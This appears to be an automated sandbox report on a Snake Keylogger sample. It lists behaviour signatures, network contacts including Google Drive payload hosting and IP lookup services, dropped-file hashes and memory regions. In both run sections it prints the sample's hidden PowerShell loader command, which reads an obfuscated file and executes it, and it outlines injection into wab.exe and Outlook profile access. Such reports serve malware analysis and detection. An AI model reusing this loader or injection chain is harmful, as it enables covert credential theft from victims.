Analysis Overview
SHA256
f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0
Threat Level: Known bad
The file f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe was found to be: Known bad.
Malicious Activity Summary
Snake Keylogger
Snake Keylogger payload
Command and Scripting Interpreter: PowerShell
Looks up external IP address via web service
Legitimate hosting services abused for malware hosting/C2
Accesses Microsoft Outlook profiles
Suspicious use of NtSetInformationThreadHideFromDebugger
Suspicious use of SetThreadContext
Suspicious use of NtCreateThreadExHideFromDebugger
Enumerates physical storage devices
NSIS installer
Suspicious behavior: MapViewOfSection
Suspicious use of WriteProcessMemory
outlook_office_path
outlook_win_path
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-07-10 19:13
Signatures
NSIS installer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-07-10 19:13
Reported
2024-07-10 19:15
Platform
win7-20240705-en
Max time kernel
119s
Max time network
122s
Command Line
Signatures
Snake Keylogger
Snake Keylogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2384 set thread context of 2752 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wab.exe |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Program Files (x86)\windows mail\wab.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-1385883288-3042840365-2734249351-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe
"C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Forsvrgelsen=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Sperlingkasserne.Gla';$Decubitus=$Forsvrgelsen.SubString(65564,3);.$Decubitus($Forsvrgelsen)"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| GB | 172.217.16.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 216.58.201.99:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 216.58.201.99:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 216.58.201.97:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| BR | 132.226.247.73:80 | checkip.dyndns.org | tcp |
| US | 8.8.8.8:53 | reallyfreegeoip.org | udp |
| US | 104.21.67.152:443 | reallyfreegeoip.org | tcp |
Files
memory/2384-11-0x0000000073B61000-0x0000000073B62000-memory.dmp
memory/2384-12-0x0000000073B60000-0x000000007410B000-memory.dmp
memory/2384-13-0x0000000073B60000-0x000000007410B000-memory.dmp
memory/2384-14-0x0000000073B60000-0x000000007410B000-memory.dmp
memory/2384-15-0x0000000073B60000-0x000000007410B000-memory.dmp
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Sperlingkasserne.Gla
| MD5 | c9035c38abb2f8b3e1255a2320926c2b |
| SHA1 | 29ee2663a1f9e8c907791957558b79dff166413c |
| SHA256 | 92eca1cfe870c436907085d7d2d85ea69c5596d456a98224937d631cfaf4adc6 |
| SHA512 | 9b1f7655ec40cd92a873547bf7b8b03de824ee53bf2cbd516ec245e3cbc385e6659ce61ce5c94c1460877d697a42fbf1ee65db3abed1474c7aeec233208e89f7 |
memory/2384-18-0x0000000073B60000-0x000000007410B000-memory.dmp
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Presenile.Tel
| MD5 | 67bfad28d1127c53a9aac5c51b3b77b8 |
| SHA1 | 896af109b830f91baa527847b2cf968cba28b771 |
| SHA256 | 38c27304ea5dcdcdbf5214a38989559b4f2feb79b73d680ec96cf2e9e220225d |
| SHA512 | 8eb928e4731dda023c4b253539cd5e6246bcdc2bdbbe74e2f745f129c829a64b04c7d746630eb66a504b417332ea42b6d9bfd987f4704cb51660750fbe467b8b |
memory/2384-20-0x0000000073B60000-0x000000007410B000-memory.dmp
memory/2384-21-0x0000000006640000-0x000000000751B000-memory.dmp
memory/2384-22-0x0000000073B60000-0x000000007410B000-memory.dmp
memory/2752-42-0x0000000000490000-0x00000000014F2000-memory.dmp
memory/2752-43-0x0000000000490000-0x00000000004B6000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-10 19:13
Reported
2024-07-10 19:15
Platform
win10v2004-20240709-en
Max time kernel
148s
Max time network
151s
Command Line
Signatures
Snake Keylogger
Snake Keylogger payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Accesses Microsoft Outlook profiles
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Legitimate hosting services abused for malware hosting/C2
| Description | Indicator | Process | Target |
| N/A | drive.google.com | N/A | N/A |
| N/A | drive.google.com | N/A | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | checkip.dyndns.org | N/A | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 4788 set thread context of 2276 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wab.exe |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of WriteProcessMemory
outlook_office_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Program Files (x86)\windows mail\wab.exe | N/A |
outlook_win_path
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-47134698-4092160662-1261813102-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Processes
C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe
"C:\Users\Admin\AppData\Local\Temp\f8aa18d4254a618c058dda0a2be332707f305795953a26402e7b5f791b778bf0.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Forsvrgelsen=Get-Content 'C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Sperlingkasserne.Gla';$Decubitus=$Forsvrgelsen.SubString(65564,3);.$Decubitus($Forsvrgelsen)"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | drive.google.com | udp |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| GB | 172.217.16.238:443 | drive.google.com | tcp |
| US | 8.8.8.8:53 | 238.16.217.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 25.140.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 99.201.58.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 204.79.197.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | c.pki.goog | udp |
| GB | 216.58.201.99:80 | c.pki.goog | tcp |
| US | 8.8.8.8:53 | o.pki.goog | udp |
| GB | 216.58.201.99:80 | o.pki.goog | tcp |
| US | 8.8.8.8:53 | 23.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | drive.usercontent.google.com | udp |
| GB | 216.58.201.97:443 | drive.usercontent.google.com | tcp |
| US | 8.8.8.8:53 | 97.201.58.216.in-addr.arpa | udp |
| US | 8.8.8.8:53 | checkip.dyndns.org | udp |
| US | 193.122.130.0:80 | checkip.dyndns.org | tcp |
| US | 8.8.8.8:53 | reallyfreegeoip.org | udp |
| US | 172.67.177.134:443 | reallyfreegeoip.org | tcp |
| US | 8.8.8.8:53 | 134.177.67.172.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.130.122.193.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.190.18.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.143.123.92.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 11.227.111.52.in-addr.arpa | udp |
Files
memory/4788-9-0x000000007412E000-0x000000007412F000-memory.dmp
memory/4788-10-0x0000000002740000-0x0000000002776000-memory.dmp
memory/4788-11-0x0000000074120000-0x00000000748D0000-memory.dmp
memory/4788-12-0x0000000004EA0000-0x00000000054C8000-memory.dmp
memory/4788-13-0x0000000074120000-0x00000000748D0000-memory.dmp
memory/4788-14-0x0000000004D50000-0x0000000004D72000-memory.dmp
memory/4788-15-0x0000000005670000-0x00000000056D6000-memory.dmp
memory/4788-16-0x00000000056E0000-0x0000000005746000-memory.dmp
memory/4788-17-0x0000000005750000-0x0000000005AA4000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vtduwnll.fwd.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4788-27-0x0000000005D10000-0x0000000005D2E000-memory.dmp
memory/4788-28-0x0000000005D50000-0x0000000005D9C000-memory.dmp
memory/4788-29-0x0000000006CE0000-0x0000000006D76000-memory.dmp
memory/4788-30-0x0000000006220000-0x000000000623A000-memory.dmp
memory/4788-31-0x0000000006270000-0x0000000006292000-memory.dmp
memory/4788-32-0x0000000007330000-0x00000000078D4000-memory.dmp
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Sperlingkasserne.Gla
| MD5 | c9035c38abb2f8b3e1255a2320926c2b |
| SHA1 | 29ee2663a1f9e8c907791957558b79dff166413c |
| SHA256 | 92eca1cfe870c436907085d7d2d85ea69c5596d456a98224937d631cfaf4adc6 |
| SHA512 | 9b1f7655ec40cd92a873547bf7b8b03de824ee53bf2cbd516ec245e3cbc385e6659ce61ce5c94c1460877d697a42fbf1ee65db3abed1474c7aeec233208e89f7 |
memory/4788-34-0x0000000007F60000-0x00000000085DA000-memory.dmp
memory/4788-36-0x0000000074120000-0x00000000748D0000-memory.dmp
memory/4788-37-0x0000000074120000-0x00000000748D0000-memory.dmp
memory/4788-38-0x0000000074120000-0x00000000748D0000-memory.dmp
C:\Users\Admin\AppData\Roaming\annekskirkers\dommedagens\nonmenial\Presenile.Tel
| MD5 | 67bfad28d1127c53a9aac5c51b3b77b8 |
| SHA1 | 896af109b830f91baa527847b2cf968cba28b771 |
| SHA256 | 38c27304ea5dcdcdbf5214a38989559b4f2feb79b73d680ec96cf2e9e220225d |
| SHA512 | 8eb928e4731dda023c4b253539cd5e6246bcdc2bdbbe74e2f745f129c829a64b04c7d746630eb66a504b417332ea42b6d9bfd987f4704cb51660750fbe467b8b |
memory/4788-40-0x0000000074120000-0x00000000748D0000-memory.dmp
memory/4788-42-0x0000000074120000-0x00000000748D0000-memory.dmp
memory/4788-41-0x00000000085E0000-0x00000000094BB000-memory.dmp
memory/4788-43-0x000000007412E000-0x000000007412F000-memory.dmp
memory/4788-44-0x0000000074120000-0x00000000748D0000-memory.dmp
memory/2276-45-0x0000000001EE0000-0x0000000002DBB000-memory.dmp
memory/4788-46-0x0000000074120000-0x00000000748D0000-memory.dmp
memory/4788-50-0x0000000074120000-0x00000000748D0000-memory.dmp
memory/4788-61-0x0000000074120000-0x00000000748D0000-memory.dmp
memory/2276-60-0x0000000000C80000-0x0000000001ED4000-memory.dmp
memory/2276-65-0x0000000000C80000-0x0000000001ED4000-memory.dmp
memory/2276-66-0x0000000000C80000-0x0000000000CA6000-memory.dmp
memory/2276-67-0x0000000020530000-0x00000000205CC000-memory.dmp
memory/2276-69-0x0000000020990000-0x00000000209E0000-memory.dmp
memory/2276-70-0x0000000021320000-0x00000000214E2000-memory.dmp
memory/2276-71-0x0000000020A80000-0x0000000020B12000-memory.dmp
memory/2276-72-0x00000000209E0000-0x00000000209EA000-memory.dmp
memory/2276-73-0x0000000001EE0000-0x0000000002DBB000-memory.dmp